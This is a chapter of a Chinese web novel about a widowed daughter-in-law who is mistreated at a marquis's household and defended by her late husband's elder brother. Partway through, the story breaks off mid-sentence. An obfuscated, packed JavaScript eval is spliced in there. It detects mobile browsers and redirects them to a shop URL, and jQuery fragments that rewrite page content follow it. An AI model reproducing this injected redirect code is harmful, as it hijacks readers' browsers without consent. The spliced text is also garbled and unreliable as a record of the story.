14. 勾引

作品:《引诱亡夫兄长后

    裴御匆匆沐浴,再进书房,却不见了那抹身影。


    “二娘子被寻香叫去了。”


    听到秦辰这样说,裴御忽然就松了口气。


    他翻开案上的奏疏,今年的雪下得早,财政又吃紧,方方面面顾不周全。


    眉头正皱着,主院那边又来了人。


    裴御:“去回夫人,没空。”


    “没空?”


    李夫人皱了眉,没空还回这么早?


    对面坐着寿春县主和崔尚书家的女儿,她面上有些挂不住:“传个话都传不明白,没说家里有贵客?再去!”


    过一会儿,小丫鬟又回来了:“公子说了,公务太忙,别去烦他......”


    堂上闹了个大乌龙,这回寿春和崔云宵脸上都不好看。


    花照云垂手立在一旁,这片刻的功夫,她已倒了七八盏茶。


    吴王允了寿春上门,是为给她赔罪。


    可李夫人为了卖吴王妃个好,支使她端茶倒水鞍前马后,手已经烫肿一大片。


    她额角生出细汗。


    “逆子!这讨债的逆子!平日里尽是把公务看得比父母还重!”


    李夫人尴尬笑骂,指着花照云:“小丫鬟不顶用,你去!”


    若请不来,自然是花照云办事不力。


    这点伎俩谁都懂,可在场的人你一句我一句催着让花照云去。


    一路进到怀远院,书房里那道身影正凝神写着什么,听到动静,抬头看到她,笑道:“回来了?走吧。”


    说着,他将手头上的书册合好放在一边,笔在笔洗中洗净了挂起来。


    起身就要带着她往厨房去:“秦辰说面不能提早做,得现下锅的才鲜香。”


    花照云一怔:“您的公务不要紧?”


    裴御摇摇头:“这两日大雪,外头的折子送不进来。”


    言下之意,近日都会有空闲。


    她忽然不敢想下去,李夫人三番两次叫不去的公务,竟只是等着她吃这一碗面。


    天色彻底黑下来,雪花如鹅毛落下,天地间唯有这里亮着昏黄的烛光。


    她笑了笑,道:“夫人那儿还有贵客需招待,待会儿若太迟,大人会让秦辰去寻我吗?”


    裴御瞬间便明白,那边见他不肯过去,推了她来。


    让她当替罪羊。


    可她却不肯说出来,不肯请自己过去。


    是因为知道他不想过去吗?


    “多久?”她不会喜欢待在那样的场合。


    花照云眨了眨眼,忽然踮起脚,在他耳旁呵气如兰:“大人想吃面的时候,可好?”


    说完,她抬手捻过他耳畔的一片竹叶:“堂堂状元郎,还这样粗心呢。”


    裴御一时不察,花照云已经退开,迈着轻快的步伐走远。


    案上只有那片被她捻在指尖的竹叶。


    他望了片刻,走过去拿起来,薄薄的软软的,有些温热,透着清香。


    不足一握。


    一路回到花厅,花照云脸上的笑也淡了,李夫人见她一个人来,当即眉头一皱。


    “我这媳妇不成器,诸位莫见笑......花氏,崔娘子的茶冷了瞧不见吗?”


    花照云低眉,重新奉上,浑然像个被主人呼来喝去的奴仆。


    旁边的丫鬟对视一眼,不屑地翻了个白眼,随后附和着几位贵人笑起来。


    “花氏做的糯米糕格外软糯,县主和崔娘子可要尝尝?”


    寿春挑眉:“好啊,有劳二娘子了,我最爱新鲜出炉的糕点。还要一碟板栗糕,要新鲜剥出来的板栗,还有——”


    “这屋里太热了,炭盆撤下去吧。”


    花照云望了望外头飘的雪,又看了看被茶盏烫出水泡的指尖。


    一盘板栗剥下来,这手就要废了。


    稍一迟疑,李夫人就拍了桌子:“还不快去!”


    “夫人莫急,我很是喜欢二娘子,不如就在这儿剥,还可以说说话。”


    小丫鬟领命去了,无人过问花照云的意见。


    她忍痛笑道:“说起来妾昨夜还梦到延郎,说下头孤单没个伴,今日县主就上门吃板栗,犹记去年冬日,延郎曾被这东西噎住,险些就去了,县主等会万要当心些。”


    寿春脸一白:“说什么胡话!他一个大男人,还会被板栗噎死?!”


    当然不会。


    他已经死了。


    “延郎惦念县主,看到县主吃板栗,也会高兴的吧。”


    县主阴沉地看了会花照云,忽然笑道:“蕊珠,去将附近的板栗都买来,所有!”


    她道:“二娘子,你越这样,我越要吃,还要吃得多,吃得好,我要今日府上所有人都吃上二娘子亲手剥的板栗!”


    李夫人笑容满面:“是是是,都吃!”


    “谁要吃?”清冷的声音落下,那道清寒的身影迈步走进来。


    寿春猛地僵住:“大公子公务忙完了?”


    “还没。”裴御冷冷收回目光,看一眼垂手竖立在最末的花照云,“走吧。”


    堂上齐齐愣住。


    李夫人反应过来:“你说的公务,是她?”


    裴御只看着花照云:“还不走?”


    “哐当——”


    崔云宵手边的茶盏落了地。


    她脸上带着歉意的笑:“瞧我笨手笨脚的,县主今日特地来看二娘子,带了螃蟹来,冬日里这可是稀罕物。”


    她起身,向裴御福了一礼:“上回陛下赏赐,听说大公子独独挑了这鱼蟹,不如一同享用?”


    裴御半点眼风都不曾瞥过去,转身要走。


    耳边忽然传来一声细微的声响,除了他没人察觉。


    是花照云很轻地咽了下口水。


    他顿了顿,脚尖一转,坐了下来:“多谢。”


    又在身边空出的位置上曲指轻叩了下。


    花照云下意识坐下。


    崔云宵的眼神闪了闪。


    她主动提起话茬:“瞧今日这雪,来年是个丰年呢。二娘子在扬州时,见过这样大的雪吗?”


    花照云转眸望去,大雪掩盖了一切,半点生机不见。


    她盘算着铺子的账目,能拿出的钱,够盖五六处粥棚了吧。


    她垂眸:“见过,雪天里吃口热的最舒服。”


    “是啊,哪天我们一同去城外赏雪?架起锅子,煮酒奏琴,踏雪寻梅,想是快活。”


    花照云笑笑,没有应。


    反倒是寿春来了兴致,提议带上她养的豹子。


    转眼,螃蟹就上来了。


    李夫人大手一挥:“你们都是我看着长大的,今日不讲虚礼,一块入席!”


    见裴御很是听话地坐下,她松了一口气,拉着崔云宵往他身边坐:“你喊我一声伯母,便不能客气。”


    寿春挑了个离裴御最远的位置:“这是陛下所赐,吴郡上贡的,想来二娘子也没吃过,千万要多吃些!”


    花照云似没听到,裴御却眼皮一掀,冷冷看过去。


    寿春立刻打了个寒颤,想起家中老父亲的竹条,也不吭声,只瞪了花照云一眼。


    花照云挑挑眉,毫不客气地从寿春手下抢走一只母蟹:“妾没吃过,是该尝尝。”


    寿春忍了。


    转眼又抢走一勺蟹黄毕罗,寿春又忍了。


    崔云宵不动声色地看一眼裴御,他脸上没有任何不悦,还浅浅挂着一抹笑。


    她面色沉下去。


    李夫人连忙道:“临之,崔姑娘是客,快替她剥只蟹。”


    裴御闻言,取过一只蟹,细细剥起来。


    崔云宵放缓了吃饭的速度。


    很快,一小碟子蟹肉就剥出来了。


    裴御先取过帕子净了手,随后,将那碟蟹肉往旁边轻轻一推。


    就见花照云径直挟起蟹肉,旁若无人地吃了起来。


    既未道谢,更不意外,一切都是这么自然又亲密。


    如同夫妻。


    崔元宵抿紧了唇。


    李夫人脸色骤变,唇角翕动几下,到底没说什么。


    大伯子和寡居的弟妹。


    单单名字连在一处都会令人想起...床、夜下的幽会、相贴的肌肤......


    不,裴御绝没有这个意思。


    她不能解释,否则越描越黑。


    “这是给云宵的!二娘子抢我的就算了,这也要抢?!”


    寿春一下捅到明面上。


    李夫人恼怒:“县主,一个一个来,哪有什么抢不抢的。”


    “一个一个?”


    裴御眼皮轻抬,问花照云:“还要吗?”


    ......


    气氛凝滞。


    花照云像是没有察觉,点点头:“要烤的。”


    于是裴御又替花照云剥了一只烤蟹。


    “花氏!”李夫人沉着脸,眼含警告,“眼里要有规矩,不要仗着临之心善就任性!”


    “我不善。”


    裴御淡淡道:“她也没有任性。”


    李夫人倒抽口气:“你什么意思?”


    “难道...大公子同二娘子......”


    花照云手一抖,蟹肉落入碗中。


    寿春豁然指着她:“做贼心虚!你在外勾引男人、在家里还勾引自己的大伯子!”


    “住嘴!”裴御眸光冷寒,“恶意中伤是为——”


    余光中那抹靛蓝色的身影突然站起来。


    裴御仰头,看到她沉沉的眸子:“你......”


    一只手抚了上来。


    花照云抚上了裴御的脸。


    众目睽睽之下,抽气声此起彼伏。


    裴御瞳孔骤缩。


    他在这双冷沉的眸子里,一瞬看到令人绝望的...情愫?


    错愕的当口,脸上的温热骤然撤去,他心底陡然涌上一阵强烈的不安:“你做什么!”


    下一刻,花照云朝墙根奔去。


    他飞身上前,骇然冲向那单


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268757|197870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    薄的身影。


    “砰——!”


    花照云撞在他身上。


    撞得他五脏俱疼,疼到腔子里那颗心都剧烈颤动。


    他一把甩开花照云,盛怒之下尾音发颤:“你做什么!花照云,你在做什么!”


    “做什么?他们不是说我勾引您吗?那我便勾引给他们看!”


    花照云咬着唇,抱住双臂顺着墙滑下去:“都瞧见了么?大公子的错愕不比你们的少!妾被这样冤枉,日后还怎么活!不如一死以证清白!”


    “一次又一次,不是这样的错,就是那样的错,只因为我是一个寡妇!可寡妇有什么错!”


    她的声音带着浓浓的厌倦,强忍着不再哭出来:“寡妇有什么错...寡妇就该被欺负,就该被人看轻么?这诺大的侯府,只不过是终于有人能可怜我,终于有人愿意帮帮我,连这也不许么......”


    她抬起被烫出水泡的手:“今日若大公子不来,我是不是就要在这里剥一整晚的板栗?是不是又要去祠堂跪上三日?是不是又要饿着肚子抄女戒?是不是又要被所有人明里暗里嘲笑?”


    “闹什么!”李夫人勃然大怒,“还要不要体面了!”


    “体面?我有体面么?”花照云摇摇头,凄然一笑,“这府里何曾有人给过我体面?”


    裴御心中一刺。


    她手上肿成一片水泡连着水泡,光是看着就能感到火辣辣的疼,整个人缩在墙角处小小的一团,像是被整个世界遗弃。


    在这里,她没有一个亲人。


    佛说,众生皆苦。


    她就在眼前,可他不曾看到。


    他转眸,居高临下怒视李夫人:“母亲对花氏做了什么还要我一一说出来?我这是在替您赎罪,以免二郎死不瞑目。”


    又看一眼脸色吓得煞白的寿春,冷冷吐出三个字:“脏东西。”


    寿春仓惶退后一步,眼前几乎立刻浮现父王高高扬起的鞭子。


    “扬州花氏,良家女,十七嫁进裴家,是安陆侯府的二娘子,从无过错。”裴御扬声,让花厅中的每一个人都听到,“尔等从前如何尊二公子,往后就要如何尊二娘子!”


    廊下的风雪停了一瞬,原本神色各异的下人纷纷垂低了头。


    花照云扶着墙缓缓起身,低着头,语气恹恹:“妾身子不适,恕告退。”


    她独自走进茫茫大雪中,脚步越来越快,只想将方才的所有都甩在身后。


    这府上的一切她其实都不必在意。


    她能笑着应对的。


    身后不知何时响起脚步声。


    一步一步跟着她,踏过雪地,行过独桥,直到山亭院外的梅林深处,仍未离去。


    花照云转过身,一张脸苍白又瘦小。


    她惨然一笑:“大人您瞧,只是稍微替我撑腰,就成了这样...我是不详之人,还是离我远些吧。”


    裴御抿紧了唇,看着她脸上风干的泪痕,目光沉沉。


    “你没错。”


    他说:“你不该被人欺负,不该被人看轻。”


    花照云退开两步:“大人不怪罪就好。”


    “我不是可怜你。”


    花照云一怔。


    今日是她的生辰,裴御有意纵着她,她是知道的。


    就像她从前养过的一只猫儿,胆小不敢出门,百般引导也改不了。


    终于有一天,一只受伤的麻雀落在门外,猫儿主动伸出爪子,小心踏了出去。


    她看到的时候,别提多高兴了。


    所以,她去抢了寿春的东西,去抢了崔云宵的东西。


    她知道这样裴御会高兴。


    “我每月见过的苦主有十几个,个个都可怜,个个都想讨好我,抓紧我替他们找回公道。”


    “可这样不对,公道本就应该是他们的,无需讨好我来得到,我也无需居高临下地去可怜他们。”


    “然而事实就是这样,我站着,他们跪着,可见——众生并不平等。”


    “佛说众生平等,他们不肯平等视我,更不敢平等视我。”


    他敛下眸子:“可我想着,在你心中,你我该是平等的。”


    “你不必小心翼翼,不必讨好我,那些伪装尽可去了,这里不是扬州,但你可以将我当做家人。”


    雪无声落下,落在他的肩头,染上他的眉梢。


    这身白衣愈发清寒,遗世独立。


    花照云怔怔地看着他,这一刻竟有些想哭。


    裴御伸出手,一根红色丝带静静躺在掌心:“那条落在书房,替你重新选的。”


    他换成了红色,母亲从前总给她系的红色。


    花照云终于忍不住,走过去抱住他:“大人,我难受。”


    “......”


    “嗯。”


    身上暖起来,令人不想放开。


    花照云抬眸,含泪的眼中多了明媚的狡黠:“以后我难受的时候,还可以抱您吗?”


    “......嗯。”